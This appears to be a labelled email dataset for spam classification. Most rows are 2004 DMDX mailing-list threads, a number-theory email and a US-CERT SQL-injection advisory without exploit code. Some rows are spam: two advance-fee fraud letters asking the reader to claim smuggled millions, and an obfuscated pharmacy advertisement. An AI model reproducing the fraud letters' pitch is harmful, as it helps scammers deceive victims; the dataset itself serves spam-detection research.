appointment time with you. Thank you,Jay WiseTextbook Reusers5401 NE 23rd AvePortland, OR  97211  If you do not wish to be informed of future visits, please reply and type “remove” in the subject area of your response, and I will honor your request.",1,0 janet mukadi ,janet_mukadi9@hotmail.com,"Sat, 29 May 2004 03:59:27 +0200",REQUEST FOR URGENT BUSINESS ASSISTANCE ,"FROM: MRS. JANET.M. GARBA. TEL: 27 82 392 7999 REQUEST FOR URGENT BUSINESS ASSISTANCE ATT: DIRECTOR/C.E.O. Greetings, My name is Mrs. Janet. m. Garba, the wife of Mr. Mukandi Garba, the former minister of agriculture in Zimbabwe located in the Southern Africa. I got your contacts while searching for reputable and actively involved companies in your country. Currently, I am in South Africa now as United Nations (UN) refugee, because of my husband�s predicament back home. Perhaps, if you are conversant with world news you can understand better. I called your embassy, which described your country as being economically conducive for investment and people as transparent and trustworthy to engage in business on which premise me to write you. Though I did not describe the reason for my enquiries to the embassy. My husband was recently fired from office by a backed uprising of mass demonstrators and the senate. My husband is presently in jail and facing trial on charges of corruption, embezzlement and the most serious charge of plunder which might lead to death sentence. The present government is forcing my husband out of Zimbabwe to avoid demonstration by his supporters. During my husband regime as a minister I realised some reasonable amount of money from various deals that he successfully executed. I have plans to invest this money for my children future on real estate and industrial production. My husband is not aware of this, because I wish to do it secretly for now. Before my husband was impeached, I secretly siphoned the sum of US$16.5m (Sixteen million five hundred thousand united states dollars) out of Zimbabwe and deposited the money with a security firm that transports valuable goods and consignment through diplomatic means. I also declared that the consignment was solid gold and my foreign business owned it. I am contacting you because I want to You to present yourself as my foreign business partner to the security company and claim the money on my behalf since I have declared that the consignment belong to my foreign business partner. I shall also require you to assist me in investment guidelines in your country. I trust you as a God fearing person who will not seat on this money when you claim it, rather assist me properly I expect you to declare what percentage of the total money you will demand for your assistance. When I receive your positive response, I shall refer you to my attorney who is presently with all the depositing documents and he shall send them to you to enable you proceed to the security company and claim the money. I shall also let you know where the security company is and the payment pin code to claim the money, which is very important. If you wish to help us you can contact us on the above contact address I will give more details when I receive your reply. Thank you and God bless. Yours Sincerely, Mrs. Janet.m. Garba. (On behalf of the family) _________________________________________________________________ Search the Net from any Web page - get MSN Toolbar! XXXX://toolbar.msn.co.za?DI=1054&XAPID=2083 ",1,0 mukadi janet ,mukadijanet1@hotmail.com,"Sat, 29 May 2004 04:04:54 +0200",REQUEST FOR URGENT BUSINESS ASSISTANCE ,"FROM: MRS. JANET.M. GARBA. TEL: 27 82 392 7999 REQUEST FOR URGENT BUSINESS ASSISTANCE ATT: DIRECTOR/C.E.O. Greetings, My name is Mrs. Janet. m. Garba, the wife of Mr. Mukadi Garba, the former minister of agriculture in Zimbabwe located in the Southern Africa. I got your contacts while searching for reputable and actively involved companies in your country. Currently, I am in South Africa now as United Nations (UN) refugee, because of my husband�s predicament back home. Perhaps, if you are conversant with world news you can understand better. I called your embassy, which described your country as being economically conducive for investment and people as transparent and trustworthy to engage in business on which premise me to write you. Though I did not describe the reason for my enquiries to the embassy. My husband was recently fired from office by a backed uprising of mass demonstrators and the senate. My husband is presently in jail and facing trial on charges of corruption, embezzlement and the most serious charge of plunder which might lead to death sentence. The present government is forcing my husband out of Zimbabwe to avoid demonstration by his supporters. During my husband regime as a minister I realised some reasonable amount of money from various deals that he successfully executed. I have plans to invest this money for my children future on real estate and industrial production. My husband is not aware of this, because I wish to do it secretly for now. Before my husband was impeached, I secretly siphoned the sum of US$16.5m (Sixteen million five hundred thousand united states dollars) out of Zimbabwe and deposited the money with a security firm that transports valuable goods and consignment through diplomatic means. I also declared that the consignment was solid gold and my foreign business owned it. I am contacting you because I want to You to present yourself as my foreign business partner to the security company and claim the money on my behalf since I have declared that the consignment belong to my foreign business partner. I shall also require you to assist me in investment guidelines in your country. I trust you as a God fearing person who will not seat on this money when you claim it, rather assist me properly I expect you to declare what percentage of the total money you will demand for your assistance. When I receive your positive response, I shall refer you to my attorney who is presently with all the depositing documents and he shall send them to you to enable you proceed to the security company and claim the money. I shall also let you know where the security company is and the payment pin code to claim the money, which is very important. If you wish to help us you can contact us on the above contact address I will give more details when I receive your reply. Thank you and God bless. Yours Sincerely, Mrs. Janet.m. Garba. (On behalf of the family) _________________________________________________________________ Block pop-up ads in a jiffy - get MSN Toolbar! XXXX://toolbar.msn.co.za?DI=1054&XAPID=2083 ",1,0 Stephen Donnelly ,was@math.harvard.edu,"Mon, 31 May 2004 20:41:32 +0200",mod-p representations,"Hi, Michael showed me part of your email about mod-p Galois representations. A while ago I looked at what is actually required for Kolyvagin's method to apply at a prime p. It seems to apply when the curve admits no p-isogenies (details below). Since this is fairly easy to determine, there might be no need to use Serre's criteria for deciding when the representation is GL(p). Incidentally, your email gives a criterion that the rep'n is GL(p) for fixed p, which raises the question how one can, at one stroke, deal with all primes larger than some determined number. Serre posed this as a question in his paper (noting that it would follow from his proof if explicit Cebotarev was already known at the time). On the practical side, for a given elliptic curve it seems one can do this fairly easily. Serre also asks a uniform version of the question, in particular for elliptic curves over Q, whether the rep'n is GL(p) for all primes p>=19. Do we know the answer today? Back to Kolyvagin's method... According to Gross' account (which ignors the CM case) there are two places where the assumption on p-torsion is used: (1) In §4, in order for the construction to give cohomology classes in H^1(K,E[p]), one needs that the restriction map H^1(K,E[p]) -> H^1(H_n,E[p])^K is an isomorphism. Here H_n is the ring class field of conductor n. (2) In §9, in order to get one's hands on the Selmer group, one wants H^1( K(E[p])/K , E[p] )=0. This was already dealt with; in earlier email, someone explained that this fails only when there is a p-isogeny (in which case it's easier to do p-descent). I'll show that (1) is OK when E(K)[p]=0 for any p>3, and also for p=3 assuming that K is not Q(mu_3). It suffices to show H^1(H_n/K , E[p](H_n) ) = 0 and H^2(H_n/K , E[p](H_n) ) = 0. As in the earlier email, one can use the trick involving a nonidentity scalar. Proof: Gal(H_n/K) is abelian, so we may write it as a direct sum P+P', where P has p-power order and P' is prime to p. CLAIM: The subgroup of E[p](H_n) invariant under P' is trivial. To see this, let G be the quotient of Gal(H_n/K) giving the action on E[p](H_n). If #G is prime to p, we are done, since in that case P' maps onto G. Otherwise, #E[p](H_n)=p^2 and G contains the subgroup ( 1 * ) ( 0 1 ) in some basis. Since G is abelian, it is contained in the normaliser of this subgroup, which is the set of matrices of the form ( a b ) ( 0 a ) Moreover, G must contain an element with a\\=1; indeed det(G) is the cyclotomic character and deg(K/Q)=2, so all the squares in F_p must be values of det(G), which gives us an a\\=1 assuming p>3. By lifting our element a to P', we get an element which acts on E[p] as a nontrivial scalar, proving the claim for p>3. When p=3, the case #E[p](H_n)=p^2 is impossible: by assumption K is not Q(mu_3), which means that det(G) takes all nonzero values in F_p. But that is not possible if G has the above form. The subgroup P' < Gal(H_n/K) gives us the exact sequence 0 -> H^1( P , E[p](H_n)^P' ) -> H^1( H_n/K , E[p](H_n) ) -> H^1( P' , E[p](H_n) ) . The first H^1 vanishes because E[p](H_n)^P' = 0, and the last H^1 vanishes because the order of P' is prime to p. Therefore the middle H^1 vanishes, as required. Furthermore, since the last H^1 vanishes, we have the same sequence with H^2 in place of H^1. Again, all three terms vanish, for the same reasons as before. Remark: I guess we have a lot of freedom to choose K. So that if E(Q)[p]=0, we can choose K such that E(K)[p]=0, and also K \\= Q(mu_3). steve",0,0 """Nicholas J.S. Gibson"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 17:33:28 +0100",[DMDX] Using unique participant input in a DMDX script,"Dear all I am running a target-rating type task and would like each participant to be able to input a unique target name that will then be used in some but not all items following. E.g., I'd like to have three different types of item, two of which ask about predefined targets, but one of which asks about a participant-entered target: +2027 ""Describes you?""/! * ""critical""; +3003 ""Describes mother?""/! * ""angry""; +1026 ""Describes [unique name]?""/! * ""honest""; Is this currently possible, or would I just need to do a find-and-replace on the script myself before starting my participant off? Thanks, Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK tel +44 (0)1223 763010 · fax +44 (0)1223 763003 http://www.divinity.cam.ac.uk/pcp/personnel/nicholas.html",0,1 """Michael J. Wenger"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 12:06:23 -0500",[DMDX] configuring KPCI-PIO24 under XP,"I am moving a Keithley KPCI-PIO24 card from a Win '98 machine to a Win XP Pro (sic) machine. I've installed the updated Keithley drivers (specific to XP) and have configured and tested the board through the Keithley utilities. I installed the latest versions of DMDX and TimeDX, and am getting the following error from the PIO test in TimeDX: > > Error 16424 using DriverLINX device > Invalid operation requested > The error message then instructs me to manually configure the board so that Channels 0 and 1 are input, and channel 2 is output. I've done this, and TimeDX still gives me an error. Has anyone run into this problem? Jonathan, any suggestions? Thanks, -Michael ____________________________________________________________________ Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 mwenger1@nd.edu (574) 631-9429, office (574) 631-8883, fax http://www.nd.edu/~mwenger1 ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 10:16:40 -0700",[DMDX] Re: Using unique participant input in a DMDX script,"At 05:33 PM 6/2/2004 +0100, you wrote: >Dear all > >I am running a target-rating type task and would like each participant to >be able to input a unique target name that will then be used in some but >not all items following. E.g., I'd like to have three different types of >item, two of which ask about predefined targets, but one of which asks >about a participant-entered target: > >+2027 ""Describes you?""/! * ""critical""; >+3003 ""Describes mother?""/! * ""angry""; >+1026 ""Describes [unique name]?""/! * 1>""honest""; > >Is this currently possible, or would I just need to do a find-and-replace >on the script myself before starting my participant off? My initial guess is no. You can chain one item file to another for that kind of effect but you'd need macro definitions or something that persisted across item files and DMDX goes to quite some length to remove effects across items. It's certainly possible that a persistent macros flag could get created, but then you'd have to enter the name and there's no way within DMDX I can think of that would allow gathered data to get displayed later. If you had a very limited range of unique names and could get the subject to choose amongst them it's eminently possible as you could decide which item file to chain but that's not what you're after. Best solution is to write a batch file that first runs DMDX with a item file (start -wait DMDX.exe -run itemfile.rtf) that lets them type their name in and exits DMDX. Then with some automated scripting thing search the .zil output for the name and do a search and replace in another item file then run that in DMDX. No problem if you're a scriptfu kind of guy but otherwise pretty big mojo. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In the beginning was the word. But by the time the second word was added to it, there was trouble. For with it came syntax ... - John Simon",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 10:27:43 -0700",[DMDX] Re: configuring KPCI-PIO24 under XP,"At 12:06 PM 6/2/2004 -0500, you wrote: >I am moving a Keithley KPCI-PIO24 card from a Win '98 machine to a Win XP >Pro (sic) machine. I've installed the updated Keithley drivers (specific >to XP) >and >have configured and tested the board through the Keithley utilities. I >installed the latest versions of DMDX and TimeDX, and am getting the >following error from the PIO test in TimeDX: > > > > Error 16424 using DriverLINX device > > Invalid operation requested > > >The error message then instructs me to manually configure the board so that >Channels 0 and 1 are input, and channel 2 is output. I've done this, and >TimeDX still gives me an error. > >Has anyone run into this problem? Jonathan, any suggestions? I'd say your attempt to configure the card failed. As I recall it's super terse stuff like having to a zero in a channel's configuration if it's to be output and a 1 for input (or the other way around, I can't recall). Maybe you've got to restart the machine after configuring it, nothing that the Keithley software does surprises me except that it can be made to work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In the beginning was the word. But by the time the second word was added to it, there was trouble. For with it came syntax ... - John Simon ",0,0 """Michael J. Wenger"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 13:37:43 -0500",[DMDX] Re: configuring KPCI-PIO24 under XP,"Jonathan -- blessings on sufficient cues: Your recall was enough to allow me to correct the configuration. For those who may be using the KPCI-PIO24 boards under XP, the requisite configuration is Input: Channel 0, initialize with 1 (dec) Channel 1, initialize with 1 (dec) Channel 2, initialize with 0 (dec) Output: Channel 0, initialize with 0 (dec) Channel 1, initialize with 0 (dec) Channel 2, initialize with 1 (dec) -Michael Quoting ""Jonathan C. Forster"" : > I'd say your attempt to configure the card failed. As I recall it's > super terse stuff like having to a zero in a channel's configuration if > it's to be output and a 1 for input (or the other way around, I can't > recall). Maybe you've got to restart the machine after configuring it, > nothing that the Keithley software does surprises me except that it can be > made to work. > ____________________________________________________________________ Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 mwenger1@nd.edu (574) 631-9429, office (574) 631-8883, fax http://www.nd.edu/~mwenger1",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 02 Jun 2004 15:43:56 -0700",[DMDX] DMDX 3.0.4.0,"DMDX 3.0.4.0 introduces two new features, a command line parameter -ez (that is also available from ""Start / Programs / DMDX / DMDX EZ mode"") and a video mode option ""desktop"": -ez DMDX runs in EZ (or easy) mode with this option. Use of TimeDX to time displays is not required however displays are no longer synchronized with the raster. Facilitates demonstrations of DMDX with minimal setup (especially when used with ) and should not be used to gather time sensitive data. Because the duration of a frame is no longer accurate use of the frame option % or <%> is inadvisable and instead <%ms> should be used. When an unknown display refresh rate is requested as always happens under 98/ME or when something like is used then a 60Hz rate is assumed (even if the actual display rate is completely different). The desktop usage detects the current desktop settings and uses them, the video mode however still has to have been timed with TimeDX unless EZ mode is being used. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In the beginning was the word. But by the time the second word was added to it, there was trouble. For with it came syntax ... - John Simon",0,0 Ericae730@aol.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 03 Jun 2004 00:18:48 -0400",Summer student packets,"Re: Course Packet Reminder Dear Professor: Please note, we have a new e-mail address. We can now be reached at thecopyshop@qwest.net. Summer Term 2004 is rapidly approaching. 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I am waiting for your soonest response Yours sincerely Mamodu Toure Guei ",1,0 Athanassios Protopapas ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 13:48:37 +0300",[DMDX] Strange problem with voice recording (DigitalVOX+RecordVocal),"Dear DMDX users, I have a consistent problem with DMDX both on my desktop (with Intel 82801 audio AC'97) and laptop PC (IBM T40). Both run Windows 2000, recently updated from Microsoft, including latest driver updates, and I have the latest DMDX version. The problem also appears using the minimal ""NAMING"" control file from Mike Ford's tutorial, so it's probably not some stupid mistake in my setting up the item file. The problem is that the recording stops registering the speech after a few (or a few hundred) milliseconds, while the resulting audio file may in fact last much longer, containing very low level noise for the rest of the duration. In other words, the audio files from the experiment look like this: First, ""silence"" background for RT number of milliseconds, then 5 up to 500 milliseconds (usually 50-250) of the spoken response, then rapid decay of the speech waveform followed by several hundred milliseconds of ""silence"" background identical to the file beginning. The total length of the file is much more than would be needed for RT+spoken reply, but typically less than the constant. The VOX settings are correct, in that the measured RTs seem reasonable and correspond to the onset of speech in the audio file. The length of the well-registered speech signal and the total length of the file do not seem to be governed by some consistent principle, although increasing the ""Timeout"" does increase the average wav file length. If someone has solved this problem before I would greatly appreciate any pointers, before I run the experiment with a portable tape recorder next to the laptop... :-) Thanassi -- Athanassios Protopapas, PhD Department of Educational Technology Principal Researcher Deputy Head, Department of Speech Technology Phone: +30 210 687 5409 Institute for Language and Speech Processing Fax: +30 210 685 4270 Epidavrou & Artemidos 6, Marousi e-mail: protopap@ilsp.gr GR-151 25 ATHENS, Greece",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 09:18:44 -0400",[DMDX] RE: Strange problem with voice recording (DigitalVOX+RecordVocal),"Are you using a pre-amp? I had the same problem a while back before I realized that my pre-amp was cutting out when it's ""output protection limit"" was exceeded (sound card protection device). Turning this feature off solved the problem. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of > Athanassios Protopapas > Sent: Tuesday, June 08, 2004 5:49 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Strange problem with voice recording > (DigitalVOX+RecordVocal) > > > > Dear DMDX users, > > I have a consistent problem with DMDX both on my desktop > (with Intel 82801 audio AC'97) and laptop PC (IBM T40). Both > run Windows 2000, recently updated from Microsoft, including > latest driver updates, and I have the latest DMDX version. > The problem also appears using the minimal ""NAMING"" control > file from Mike Ford's tutorial, so it's probably not some > stupid mistake in my setting up the item file. The problem > is that the recording stops registering the speech after a > few (or a few hundred) milliseconds, while the resulting > audio file may in fact last much longer, containing very low > level noise for the rest of the duration. > > In other words, the audio files from the experiment look like > this: First, ""silence"" background for RT number of > milliseconds, then 5 up to 500 milliseconds (usually 50-250) > of the spoken response, then rapid decay of the speech > waveform followed by several hundred milliseconds of > ""silence"" background identical to the file beginning. The > total length of the file is much more than would be needed > for RT+spoken reply, but typically less than the constant. > > The VOX settings are correct, in that the measured RTs seem > reasonable and correspond to the onset of speech in the audio > file. The length of the well-registered speech signal and > the total length of the file do not seem to be governed by > some consistent principle, although increasing the > ""Timeout"" does increase the average wav file length. If > someone has solved > this problem before I would greatly appreciate any pointers, > before I run the experiment with a portable tape recorder > next to the laptop... :-) > > Thanassi > > -- > Athanassios Protopapas, PhD Department of Educational > Technology > Principal Researcher Deputy Head, Department of Speech > Technology > Phone: +30 210 687 5409 Institute for Language and > Speech Processing > Fax: +30 210 685 4270 Epidavrou & > Artemidos 6, Marousi > e-mail: protopap@ilsp.gr GR-151 25 > ATHENS, Greece > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 15:28:31 +0200",[DMDX] RE : RE: Strange problem with voice recording (DigitalVOX+RecordVocal),"I played randomly with the settings of record vocal and digitalvox (see help on these keywords and help on audio input) to get rid of a similar yet different problem (my responses were cut in the middle: DMDX sticked together the beggining and end of the words. ""constitution"" would sound ""condchion"") what I use now is: in that order and it works on my desktop... xavier >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >Matthew Finkbeiner >Sent: Tuesday, June 08, 2004 3:19 PM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] RE: Strange problem with voice recording >(DigitalVOX+RecordVocal) > > >Are you using a pre-amp? I had the same problem a while back >before I realized that my pre-amp was cutting out when it's >""output protection limit"" was exceeded (sound card protection >device). Turning this feature off solved the problem. > > > >> -----Original Message----- >> From: DMDX-owner@psy1.psych.arizona.edu >> [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >> Athanassios Protopapas >> Sent: Tuesday, June 08, 2004 5:49 AM >> To: DMDX@psy1.psych.arizona.edu >> Subject: [DMDX] Strange problem with voice recording >> (DigitalVOX+RecordVocal) >> >> >> >> Dear DMDX users, >> >> I have a consistent problem with DMDX both on my desktop >> (with Intel 82801 audio AC'97) and laptop PC (IBM T40). Both >> run Windows 2000, recently updated from Microsoft, including >> latest driver updates, and I have the latest DMDX version. >> The problem also appears using the minimal ""NAMING"" control >> file from Mike Ford's tutorial, so it's probably not some >> stupid mistake in my setting up the item file. The problem >> is that the recording stops registering the speech after a >> few (or a few hundred) milliseconds, while the resulting >> audio file may in fact last much longer, containing very low >> level noise for the rest of the duration. >> >> In other words, the audio files from the experiment look like >> this: First, ""silence"" background for RT number of >> milliseconds, then 5 up to 500 milliseconds (usually 50-250) >> of the spoken response, then rapid decay of the speech >> waveform followed by several hundred milliseconds of >> ""silence"" background identical to the file beginning. The >> total length of the file is much more than would be needed >> for RT+spoken reply, but typically less than the constant. >> >> The VOX settings are correct, in that the measured RTs seem >> reasonable and correspond to the onset of speech in the audio >> file. The length of the well-registered speech signal and >> the total length of the file do not seem to be governed by >> some consistent principle, although increasing the >> ""Timeout"" does increase the average wav file length. If >> someone has solved >> this problem before I would greatly appreciate any pointers, >> before I run the experiment with a portable tape recorder >> next to the laptop... :-) >> >> Thanassi >> >> -- >> Athanassios Protopapas, PhD Department of Educational >> Technology >> Principal Researcher Deputy Head, Department of Speech >> Technology >> Phone: +30 210 687 5409 Institute for Language and >> Speech Processing >> Fax: +30 210 685 4270 Epidavrou & >> Artemidos 6, Marousi >> e-mail: protopap@ilsp.gr GR-151 25 >> ATHENS, Greece >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== >> > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >",0,1 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 14:53:47 +0100",[DMDX] Touchscreen devices,"Hi folks, I'm potentially interested in running a series of experiments that involve people making responses on a touchscreen monitor. This is a function that Jonathan hasn't yet had need to develop, but I believe he'd be happy to do so if appropriate sponsorship could be found. I believe that other DMDX users have mentioned that such a facility would be useful. As anyone needing this sort of functionality would otherwise have to fork out the money for a commercial package such as 'Presentation', I was wondering whether there might be a few labs around the world who would consider jointly sponsoring such a code change, perhaps for particular research projects. If there were a few interested parties, then the individual contribution could be less than a one-year licence for 'Presentation'... If anyone's potentially interested, please email me direct (s.bell@psychol.cam.ac.uk) rather than the list. Thanks, Stuart. -- Stuart Bell Department of Experimental Psychology University of Cambridge (UK) ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 08:55:23 -0700",[DMDX] Re: Strange problem with voice recording (DigitalVOX+RecordVocal),"At 01:48 PM 6/8/2004 +0300, you wrote: >In other words, the audio files from the experiment look like this: First, >""silence"" background for RT number of milliseconds, then 5 up to 500 >milliseconds (usually 50-250) of the spoken response, then rapid decay of >the speech waveform followed by several hundred milliseconds of ""silence"" >background identical to the file beginning. The total length of the file is >much more than would be needed for RT+spoken reply, but typically less than >the constant. I'd be tempted to say that the only error DMDX could make and certainly the only errors I've seen it make as I've been correcting it's code is a sudden immediate over one sample drop off of the vocalization. Anything that's decaying over time almost has to be some part of the electronics of your systems. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The most merciful thing in the world ... is the inability of the human mind to correlate all its contents. - H. P. Lovecraft",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 08 Jun 2004 14:40:28 -0400",US-CERT Technical Cyber Security Alert TA04-160A -- SQL Injection Vulnerabilities in Oracle E-Business Suite ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-160A SQL Injection Vulnerabilities in Oracle E-Business Suite Original release date: June 8, 2004 Last revised: -- Source: US-CERT Systems Affected * Oracle Applications 11.0 (all releases) * Oracle E-Business Suite 11i, 11.5.1 through 11.5.8 Overview A vulnerability in the Oracle's E-Business Suite allows a remote attacker to execute arbitrary script on a vulnerable database system. Exploitation may lead to compromise of the database application, data integrity, or underlying operating system. I. Description Oracle E-Business Suite is a set of applications and modules that enables an organization to manage customer interactions, deliver services, manufacture products, ship orders, collect payments, and other tasks using a single database model. According to the Oracle Security Alert 67, Oracle Applications 11.0 (all releases) and Oracle E-Business Suite Release 11i, 11.5.1 through 11.5.8 are vulnerable to SQL injection vulnerabilities. Oracle E-Business Suite Release 11.5.9 and later are not vulnerable. This vulnerability is not platform specific. Integrigy Corporation has also released an alert about these vulnerabilities. Note that no authentication mechanisms of Oracle E-Business Suite will mitigate exploitation of the attack. US-CERT is tracking this issue as VU#961579. II. Impact An unauthenticated attacker could exploit this vulnerability to execute arbitrary SQL statements on the vulnerable system with the privileges of the Oracle server process. In addition to compromising the integrity of the database information, this may lead to the compromise of the database application and the underlying operating system. III. Solution Apply Patch or Upgrade According to the Oracle Security Alert 67, patches and related information are available from: http://metalink.oracle.com/metalink/plsql/ml2_documents.showDocumen t?p_database_id=NOT&p_id=274375.1 Appendix B. References * http://otn.oracle.com/deploy/security/pdf/2004alert67.pdf * http://www.integrigy.com/alerts/OraAppsSQLInjection.htm * http://www.kb.cert.org/vuls/id/961579 _________________________________________________________________ US-CERT thanks Stephen Kost of Integrigy Corporation for reporting this problem and for information used to construct this advisory. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail _________________________________________________________________ The latest version of this document can be found at: _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History June 8, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAxgVFXlvNRxAkFWARAiZSAKCsoyCrmSth7nWRX62FPnYZRUXp3QCeI5f+ gOYuIony8dN59HQ+63PUiMw= =k4uL -----END PGP SIGNATURE-----",0,1 Edward ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 2004 19:43:36 -0400",ny med for your girl to be happy!," Visit our new online pharmacy store and save upto 95% /'i'a'g'r@ is the best thing that can ever happen to YOU! [1]Want PILLs? Cia1is, Viagr@, Many Meds Phenterm1ne# [2]Cheapest d()se$ only in our online pharmacy sh0p! VI$IT N0W! Thank you! [3]Click here to visit our NEW ONLINE PHARMACY STORE References 1. file://localhost/home/cmf2/tasks/ph_3_91///ohc6cwuwcwckk66hbo6ht6o6.downwithnm.com/? 2. file://localhost/home/cmf2/tasks/ph_3_91///ohc6cwuwcwckk66hbo6ht6o6.downwithnm.com/? 3. file://localhost/home/cmf2/tasks/ph_3_91///ohc6cwuwcwckk66hbo6ht6o6.downwithnm.com/? ",1,0 Athanassios Protopapas ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Jun 2004 17:59:44 +0300",[DMDX] Re: Strange problem with voice recording (DigitalVOX+RecordVocal),"I'm leaning away from the electronics explanation because 1. The problem happens on two unrelated computers, and 2. It stopped happening when I used the particular sequence of parameters sent by Francois-Xavier Alario yesterday. The problem still happens systematically with other settings, including those in the ""naming"" tutorial file (on Mike Ford's page). The critical difference seems to lie with the optional parameter to RecordVocal, but I have not been able to figure out with certainty the conditions which make it work or not. So I'd say that the documentation is incorrect in stating that no parameter means recording for the length of timeout, but it is correct in saying that adding a parameter may help overcome various recording problems (I can't remember where I read that, perhaps in the list archives, but I do remember that I tried some combinations before sending the request for help). The decay is not slow and smooth, but neither is it a one-sample abrupt drop to zero (in fact it is not a drop to zero, it is a drop to background, which is extremely weird since there is no background but speech at that time. If you're curious I can send you a minimal file that produces the problem consistently and a few audio files that come out of it. Thanassi PS. Thank you very much, for helping with this problem, for writing and offering DMDX in the first place, and for maintaining and improving it over the years. j.c.f. wrote: > > I'd be tempted to say that the only error DMDX could make and > certainly the only errors I've seen it make as I've been correcting it's > code is a sudden immediate over one sample drop off of the > vocalization. Anything that's decaying over time almost has to be some > part of the electronics of your systems. > > /""\\ > -jonathan (j.c.f.) \\ / -- Athanassios Protopapas, PhD Department of Educational Technology Principal Researcher Deputy Head, Department of Speech Technology Phone: +30 210 687 5409 Institute for Language and Speech Processing Fax: +30 210 685 4270 Epidavrou & Artemidos 6, Marousi e-mail: protopap@ilsp.gr GR-151 25 ATHENS, Greece ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Jun 2004 11:55:46 -0700",[DMDX] Re: Strange problem with voice recording (DigitalVOX+RecordVocal),"At 05:59 PM 6/9/2004 +0300, you wrote: >I'm leaning away from the electronics explanation because >1. The problem happens on two unrelated computers, and >2. It stopped happening when I used the particular sequence of parameters > sent by Francois-Xavier Alario yesterday. Hey, all's well that ends. >The problem still happens systematically with other settings, including >those in the ""naming"" tutorial file (on Mike Ford's page). The critical >difference seems to lie with the optional parameter to RecordVocal, but I >have not been able to figure out with certainty the conditions which make >it work or not. Yeah, no one including me has. That's why it's a user tweakable parameter. I get the code to work on my two machines and then it fails on a third. But when I don't have access to those machines it's really hard to debug it and at this stage of the game I doubt that it would solve anything as the next machine is like as not going to fail a different way. Francois' parameters are pretty similar to what I use to test the stuff so the fact that it works now is reassuring. >So I'd say that the documentation is incorrect in stating that no >parameter means recording for the length of timeout, It records for approximately the length of the timeout, it sounds like it's just not doing it correctly. > but it is correct in saying that adding a parameter may help overcome > various recording problems (I can't remember where I read that, perhaps > in the list archives, but I do remember that I tried some combinations > before sending the request for help). > >The decay is not slow and smooth, but neither is it a one-sample abrupt >drop to zero (in fact it is not a drop to zero, it is a drop to >background, which is extremely weird since there is no background but >speech at that time. It sounds like the machine's drivers or hardware is actually switching signal sources spuriously. Like I say, it's almost impossible to write code to deal with the extraordinary variety of ways that sound card drivers fail. >If you're curious I can send you a minimal file that produces the problem >consistently and a few audio files that come out of it. It's not worth in my experience, every machine or machine type or sound card or version of sound card driver appears to malfunction in a different way, yours being the most interesting to date. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In the beginning was the word. But by the time the second word was added to it, there was trouble. For with it came syntax ... - John Simon ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Jun 2004 09:07:42 -0700",[DMDX] Re: Strange problem with voice recording (DigitalVOX+RecordVocal),"At 12:04 PM 6/10/2004 +0300, you wrote: >Yes, indeed, the only thing that's really important is that there is a way >to make it work. I will take it as a compliment that my type of >malfunction has been the most interesting so far :-) >Thank you again for everything! Yeah, the big effort in the most recent re-write of that code was to make variable length recording buffers work and after that was working I then went back and made classic mode fixed length recording work. So a _lot_ more effort went into making the new stuff work as no one was interested in the classic mode and it's possible that classic mode works on my machines and no one else's. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON 